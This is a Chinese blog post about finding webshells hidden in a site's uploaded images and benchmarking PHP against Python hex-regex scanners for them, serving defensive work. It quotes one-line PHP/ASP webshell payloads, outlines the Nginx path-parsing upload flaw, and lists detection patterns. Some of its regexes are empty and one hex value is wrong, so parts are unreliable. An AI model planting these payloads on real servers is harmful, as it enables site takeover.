网站图片挂马检测及PHP与python的图片文件恶意代码检测对比
前言
周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。
取出部分大致如下:
| 服务器IP/名称 | 木马文件路径 | 更新时间 | 木马类型 | 状态(全部) |
|---|---|---|---|---|
| *.*.*.* | /path/*144.gif | 2017/8/7 5:53 | Webshell | 待处理 |
| *.*.*.* | /path/*132.jpg | 2017/8/7 5:23 | Webshell | 待处理 |
| *.*.*.* | /path/*156.txt | 2017/8/7 5:22 | Webshell | 待处理 |
| *.*.*.* | /path/*0304.jpg | 2017/8/7 5:22 | 木马文件 | 待处理 |
分析
检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。
检查
path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现,木马类型为Webshell或木马文件的图片或文件内含有恶意代码例如:
<%execute(request("a"))%>
<?php eval($_POST['a']);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>
使用Notepad++的十六进制模式(需安装插件HEX-Editor)查看
验证
经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞。
正好我的虚拟机上有nginx立刻来试一下。
| 虚拟机配置 | 版本 |
|---|---|
| nginx | 1.10.1 |
| php | 7.2.0-dev |
- 首先用画图随便造个图片
- 使用
Notepad++ Hex-Editor将<?php phpinfo(); ?>插入任意角落。
- 将此图片传入虚拟机中
- 在虚拟机中编辑php的php.ini,将
;cgi.fix_pathinfo=1打开 - 运行nginx,查看效果

经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。
过滤
先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中
<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000
转成十六进制
由此可以得出彼此对应的十六进制
| < | % | ( | ) | % | > |
|---|---|---|---|---|---|
| 3c | 25 | 28 | 29 | 25 | 3e |
用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。
function osWalk($path,$dirs=[])
{
if (false != ($handle = opendir ( $path ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != "..") {
if(is_file($path.'\\'.$file))
$dirs[]=$path.'\\'.$file;
else
$dirs=osWalk($path.'\\'.$file,$dirs);
}
}
closedir ( $handle );
}
return $dirs;
}
function checkHex($img_path)
{
if (file_exists($img_path)) {
$resource = fopen($img_path, 'rb');
$fileSize = filesize($img_path);
fseek($resource, 0); //把文件指针移到文件的开头
$hexCode = bin2hex(fread($resource, $fileSize));
fclose($resource);
/* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
return true;
else
return false;
} else {
return false;
}
}
$scan_start=microtime(true);
$qsFiles=osWalk('e:\path_to_image');
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
if (checkHex($qs))
$res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf('文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>',array(
count($qsFiles), count($res),
$scan_end-$scan_start,
$check_end-$check_start
));
//echo implode('<br>',$res);
#文件总数:1320,中标文件:28
#扫描时间:1.16秒,检测时间:125.50秒
觉得这样查时间有点多,用python也写了一个批量匹配
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os,re,time,math;
def check_hex(img_path,p):
with open(img_path,'rb') as f:
content=f.read();
f.close();
if p.search(content.encode('hex')):
return True;
return False;
def main():
#<?php ?>|eval|fputs|fwrite
p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');
scan_start=time.time();
total_files=0;total_taged=[];
for parent,dirname,filenames in os.walk(r'E:\path_to_image'):
for file in filenames:
img_path=parent+os.path.sep+file;
total_files+=1;
if check_hex(img_path,p1):
total_taged.append(img_path);
scan_end=time.time(); print u'扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));
#for tag in total_taged:
# print tag;
print 'END';
if __name__=='__main__':
main(); #扫描完成!总用时:97.24秒。
#总共扫描文件数: 1320,中标文件数: 28。
在相同的匹配条件下python的速度比php快22.4%。
PHP与python相同情况下扫描用时对比
接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:
<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 956 | 14.81 |
| python | 958 | 11.58 |
正则组合2:
<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 956 | 18.40 |
| python | 958 | 13.85 |
正则组合3:
<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()|()|()
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 961 | 26.74 |
| python | 963 | 17.90 |
友情赠送
使用python获取字符串的十六进制比较方便,只需
print 'string'.encode('hex'); #737472696e67
这里放一点图片恶意代码,若有需要请随意使用
| 图片恶意代码 | hex |
|---|---|
| \<\?php \?> | 3c3f706870.*\?3f3e |
| \<\? \?> | 3c3f.*\?3f3e |
| \<\% \%> | 3c25.*\?253e |
| exec | 65786563 |
| eval | 6576616c |
| system | 73797374656d |
| passthru | 061737374687275 |
| fputs | 6670757473 |
| fwrite | 667772697465 |
总结
通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题。
备注:本文发布于2017-08-14,我github page的原文地址。
网站图片挂马检测及PHP与python的图片文件恶意代码检测对比的更多相关文章
- wordpress网站被挂马以及防御方法
wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...
- 恶意代码检测工具 -- Mathematics Malware Detected Tools
Mathematics Malware Detected Tools 重要:由于缺少测试数据,部分结论可能不正确.更多更准确的结论,还需要进行大量实验. 概述 mmdt(Mathematics Mal ...
- 机器学习&恶意代码检测简介
Malware detection 目录 可执行文件简介 检测方法概述 资源及参考文献 可执行文件简介 ELF(Executable Linkable Format) linux下的可执行文件格式,按 ...
- 解决web网站被挂马清除方法
案例:某公司一个lamp的服务器网站站点目录下所有文件均被植入了广告脚本如下内容: <script language=javascriptsrc=http://%4%66E%78%72%67%2 ...
- Python读取mdb文件以及shell检测
最近写了两个python的脚本不过实际意义不是很大,就是想练练python写程序,一直研究web方面脚本写的少多了,还有C语言也用的少多了.现在有时间得多写写程序,别把以前学到的知识给忘了. 作者: ...
- 常见JS挂马方法及如何防止网站被黑客挂马?
最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定.可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因.最后发现是网站被挂马了,导致网站被连累了.在此,借助马海祥博客的平台,给 ...
- 基于git diff进行的eslint代码检测
缘起 在项目中, 通常都会使用代码检测工具来规范团队的代码风格, 比如eslint.随着代码的不断增加, eslint进行代码检测的时间也越来越久.每次检测的时候, 需要检测的文件和实际检测的文件极度 ...
- 基于深度学习的安卓恶意应用检测----------android manfest.xml + run time opcode, use 深度置信网络(DBN)
基于深度学习的安卓恶意应用检测 from:http://www.xml-data.org/JSJYY/2017-6-1650.htm 苏志达, 祝跃飞, 刘龙 摘要: 针对传统安卓恶意程序检测 ...
- SonarQube 之 gitlab-plugin 配合 gitlab-ci 完成每次 commit 代码检测
转载自:https://cloud.tencent.com/developer/article/1010601 1.背景介绍 我们知道使用 SonarQube 可以在日常开发中检测代码质量,除了使用 ...
随机推荐
- ViewPager使用记录2——展示动态数据
ViewPager是v4支持库中的一个控件,相信几乎所有接触Android开发的人都对它不陌生.之所以还要在这里翻旧账,是因为我在最近的项目中有多个需求用到了它,觉得自己对它的认识不够深刻.我计划从最 ...
- JavaBean编辑器的简单介绍
引言 Sun所指定的JavaBean规范很大程度上是为IDE准备的--它让IDE能够以可视化的方式设置JavaBean的属性.如果在IDE中开发一个可视化的应用程序,则需要通过属性设置的方式对组成应用 ...
- iOS开发从申请账号到上线APP Store步骤
1.developer.apple.com 申请开发者账号 2.根据API Cloud创建证书: http://docs.apicloud.com/Dev-Guide/iOS-License-Appl ...
- struts2国际化相关问题
国际化资源文件的方式: Action范围的 包范围的 临时的 全局的(推荐) 一.配置全局的国际化资源文件 1.在类路径下,创建国际化资源文件 baseName.properties baseName ...
- JS框架设计读书笔记之-节点模块
节点的创建 浏览器提供了多种手段创建API,从流行程度依次是document.createElement.innerHTML.insertAdjacentHTML.createContextualFr ...
- 从架构演进的角度聊聊Spring Cloud都做了些什么?
Spring Cloud作为一套微服务治理的框架,几乎考虑到了微服务治理的方方面面,之前也写过一些关于Spring Cloud文章,主要偏重各组件的使用,本次分享主要解答这两个问题:Spring Cl ...
- 1031: [JSOI2007]字符加密Cipher
1031: [JSOI2007]字符加密Cipher Time Limit: 10 Sec Memory Limit: 162 MBSubmit: 7338 Solved: 3182[Submit ...
- ZOJ 3777-Problem Arrangement(状压DP)
B - Problem Arrangement Time Limit:2000MS Memory Limit:65536KB 64bit IO Format:%lld & %l ...
- POJ 3468 A Simple Problem with Integers(树状数组区间更新)
A Simple Problem with Integers Time Limit: 5000MS Memory Limit: 131072K Total Submissions: 97217 ...
- 详解tomcat的连接数与线程池
前言 在使用tomcat时,经常会遇到连接数.线程数之类的配置问题,要真正理解这些概念,必须先了解Tomcat的连接器(Connector). 在前面的文章 详解Tomcat配置文件server.xm ...